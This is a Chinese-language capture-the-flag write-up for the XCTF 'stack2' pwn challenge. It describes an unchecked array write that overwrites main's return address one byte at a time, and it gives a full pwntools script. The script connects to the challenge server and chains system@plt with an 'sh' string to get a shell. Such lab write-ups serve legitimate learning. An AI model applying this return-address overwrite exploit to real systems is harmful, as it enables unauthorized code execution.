题源
https://adworld.xctf.org.cn/challenges/details?hash=4bb2f552-6679-4d25-a18d-883e4d9c206b_2
题解
TL;DR
32bit程序劫持main函数返回地址,构造system函数,准备sh参数
照例先checksec看一下情况
32位程序,没有开PIE,所以程序代码段都是用静态地址
照例IDA看一下main函数
如上图所示,非常明显地,在往v13这个局部数组变量里写一个字符时没有检查是否越界。根据栈上数组和函数返回地址的相对关系,用gdb可以调试出来当修改第0x84
个字节的时候,返回地址的最低1byte会被修改掉。利用这一点可以修改main函数的返回地址,每次修改1个字节。
用IDA发现程序给了一个hackhere
函数在0x804859B
,所以可以修改main跳转到这里。
不过在ssh执行时发现目标只有sh,没有/bin/bash,所以hackhere
不可用,如下图。
那么需要自己构造新的后门函数,比如system("sh")
。system
地址可以从plt表拿到,sh字符串可以用ROPgadget
搜到。相比于跳转到hackhere
函数,多了一个步骤是需要在栈上准备好sh字符串的地址。
最后运行脚本拿到flag。
完整代码
from pwn import *
io = remote('61.147.171.105',64929)
# io = process('./stack2')
prox = ELF('./stack2')
system_plt = prox.plt['system']
sh_address = 0x08048987
ret_offset = 0x70+0x10+0x4
io.sendlineafter(b'have:',b'0')
def send_4bytes(offset,number):
def send_num(ind,num):
io.sendlineafter(b'exit',b'3')
io.sendlineafter(b'change:',ind)
io.sendlineafter(b'number:',num)
for i in range(4):
send_num(str(offset+i).encode(),str((number>>(i*8))&0xff).encode())
send_4bytes(ret_offset,system_plt)
send_4bytes(ret_offset+0x8,sh_address)
io.sendlineafter(b'exit',b'5')
io.interactive()
总结
- 在IDA看v13数组与ebp偏移时其实是
0x70+0x4
字节,但执行时gdb发现程序又用ecx修改了esp的值,实际是0x84的偏移。不确定这个是什么原因? system("sh")
也可以进shell,不一定非得"/bin/bash"
- 假的getshell函数挺唬人的,一不小心容易被弄乱思路
- 回顾一下知识点,放
sh_address
时候需要设置0x8的偏移是用来放ebp和return address,然后才轮到arg1